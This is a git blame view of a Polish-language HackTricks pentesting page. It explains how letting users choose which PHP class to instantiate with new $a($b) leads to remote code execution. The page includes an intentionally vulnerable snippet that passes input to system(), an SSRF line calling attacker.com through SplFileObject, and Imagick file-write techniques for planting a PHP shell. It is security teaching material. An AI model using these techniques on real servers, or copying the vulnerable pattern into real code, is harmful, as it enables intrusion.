hacktricks/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md

123 lines
6.7 KiB
Markdown
Raw Normal View History

# PHP - RCE abusing object creation: new $\_GET\["a"]\($\_GET\["b"])
2022-08-04 10:07:55 +00:00
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-08-04 10:07:55 +00:00
<details>
2022-08-04 10:07:55 +00:00
<summary>Support HackTricks</summary>
2022-08-04 10:07:55 +00:00
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-08-04 10:07:55 +00:00
</details>
{% endhint %}
2022-08-04 10:07:55 +00:00
To jest zasadniczo podsumowanie [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)
2024-02-08 21:36:15 +00:00
2024-02-11 01:46:25 +00:00
## Wprowadzenie
2022-08-04 10:07:55 +00:00
Tworzenie nowych, dowolnych obiektów, takich jak `new $_GET["a"]($_GET["a"])`, może prowadzić do zdalnego wykonania kodu (RCE), jak szczegółowo opisano w [**artykule**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/). Dokument ten podkreśla różne strategie osiągania RCE.
2022-08-04 10:07:55 +00:00
## RCE za pomocą klas niestandardowych lub autoloadingu
2022-08-04 10:07:55 +00:00
Składnia `new $a($b)` jest używana do instancjonowania obiektu, gdzie **`$a`** reprezentuje nazwę klasy, a **`$b`** jest pierwszym argumentem przekazywanym do konstruktora. Te zmienne mogą pochodzić z danych wejściowych użytkownika, takich jak GET/POST, gdzie mogą być ciągami lub tablicami, lub z JSON, gdzie mogą występować jako inne typy.
2022-08-04 10:07:55 +00:00
Rozważ poniższy fragment kodu:
2022-08-04 10:07:55 +00:00
```php
class App {
2024-02-11 01:46:25 +00:00
function __construct ($cmd) {
system($cmd);
}
2022-08-04 10:07:55 +00:00
}
class App2 {
2024-02-11 01:46:25 +00:00
function App2 ($cmd) {
system($cmd);
}
2022-08-04 10:07:55 +00:00
}
$a = $_GET['a'];
$b = $_GET['b'];
new $a($b);
```
W tym przypadku ustawienie `$a` na `App` lub `App2` oraz `$b` na polecenie systemowe (np. `uname -a`) skutkuje wykonaniem tego polecenia.
2022-08-04 10:07:55 +00:00
**Funkcje autoloading** mogą być wykorzystywane, jeśli takie klasy nie są bezpośrednio dostępne. Te funkcje automatycznie ładują klasy z plików w razie potrzeby i są definiowane za pomocą `spl_autoload_register` lub `__autoload`:
2022-08-04 10:07:55 +00:00
```php
spl_autoload_register(function ($class_name) {
2024-02-11 01:46:25 +00:00
include './../classes/' . $class_name . '.php';
2022-08-04 10:07:55 +00:00
});
function __autoload($class_name) {
2024-02-11 01:46:25 +00:00
include $class_name . '.php';
2022-08-04 10:07:55 +00:00
};
spl_autoload_register();
```
2024-02-11 01:46:25 +00:00
Zachowanie autoloadingu różni się w zależności od wersji PHP, oferując różne możliwości RCE.
2022-08-04 10:07:55 +00:00
## RCE za pomocą klas wbudowanych
2022-08-04 10:07:55 +00:00
Brakując niestandardowych klas lub autoloaderów, **wbudowane klasy PHP** mogą wystarczyć do RCE. Liczba tych klas waha się od 100 do 200, w zależności od wersji PHP i rozszerzeń. Można je wylistować za pomocą `get_declared_classes()`.
2022-08-04 10:07:55 +00:00
Konstruktory, które mogą być interesujące, można zidentyfikować za pomocą API refleksji, jak pokazano w poniższym przykładzie oraz w linku [https://3v4l.org/2JEGF](https://3v4l.org/2JEGF).
2022-08-04 10:07:55 +00:00
2024-02-11 01:46:25 +00:00
**RCE za pomocą konkretnych metod obejmuje:**
2022-08-04 10:07:55 +00:00
### **SSRF + Deserializacja Phar**
2022-08-04 10:07:55 +00:00
Klasa `SplFileObject` umożliwia SSRF poprzez swój konstruktor, pozwalając na połączenia z dowolnym URL:
2024-02-08 21:36:15 +00:00
```php
2022-08-04 10:07:55 +00:00
new SplFileObject('http://attacker.com/');
```
SSRF może prowadzić do ataków deserializacji w wersjach PHP przed 8.0 przy użyciu protokołu Phar.
2022-08-04 10:07:55 +00:00
2024-02-11 01:46:25 +00:00
### **Wykorzystywanie PDOs**
2022-08-04 10:07:55 +00:00
2024-02-11 01:46:25 +00:00
Konstruktor klasy PDO umożliwia połączenia z bazami danych za pomocą ciągów DSN, co potencjalnie umożliwia tworzenie plików lub inne interakcje:
2022-08-04 10:07:55 +00:00
```php
new PDO("sqlite:/tmp/test.txt")
```
### **SoapClient/SimpleXMLElement XXE**
Wersje PHP do 5.3.22 i 5.4.12 były podatne na ataki XXE za pośrednictwem konstruktorów `SoapClient` i `SimpleXMLElement`, w zależności od wersji libxml2.
2022-08-04 10:07:55 +00:00
2024-02-11 01:46:25 +00:00
## RCE za pomocą rozszerzenia Imagick
2022-08-04 10:07:55 +00:00
W analizie **zależności projektu** odkryto, że **Imagick** może być wykorzystany do **wykonywania poleceń** poprzez instancjonowanie nowych obiektów. Stwarza to możliwość wykorzystania luk w zabezpieczeniach.
2022-08-04 10:07:55 +00:00
### Parser VID
2022-08-04 10:07:55 +00:00
Zidentyfikowano zdolność parsera VID do zapisywania treści w dowolnie określonej ścieżce w systemie plików. Może to prowadzić do umieszczenia powłoki PHP w katalogu dostępnym przez sieć, osiągając zdalne wykonanie kodu (RCE).
2022-08-04 10:55:21 +00:00
#### Parser VID + Przesyłanie plików
2022-08-04 10:55:21 +00:00
Zauważono, że PHP tymczasowo przechowuje przesyłane pliki w `/tmp/phpXXXXXX`. Parser VID w Imagick, wykorzystując protokół **msl**, może obsługiwać znaki wieloznaczne w ścieżkach plików, co ułatwia przeniesienie tymczasowego pliku do wybranej lokalizacji. Ta metoda oferuje dodatkowe podejście do osiągnięcia dowolnego zapisu plików w systemie plików.
2022-08-04 10:55:21 +00:00
### Awaria PHP + Brute Force
2022-08-04 10:55:21 +00:00
Metoda opisana w [**oryginalnym opisie**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) polega na przesyłaniu plików, które powodują awarię serwera przed usunięciem. Poprzez brute forcing nazwy tymczasowego pliku, możliwe jest, aby Imagick wykonał dowolny kod PHP. Jednak ta technika okazała się skuteczna tylko w przestarzałej wersji ImageMagick.
2022-08-04 10:55:21 +00:00
## References
2022-08-04 10:55:21 +00:00
* [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)
2022-08-04 10:07:55 +00:00
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-08-04 10:07:55 +00:00
<details>
2022-08-04 10:07:55 +00:00
<summary>Support HackTricks</summary>
2022-08-04 10:07:55 +00:00
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-08-04 10:07:55 +00:00
</details>
{% endhint %}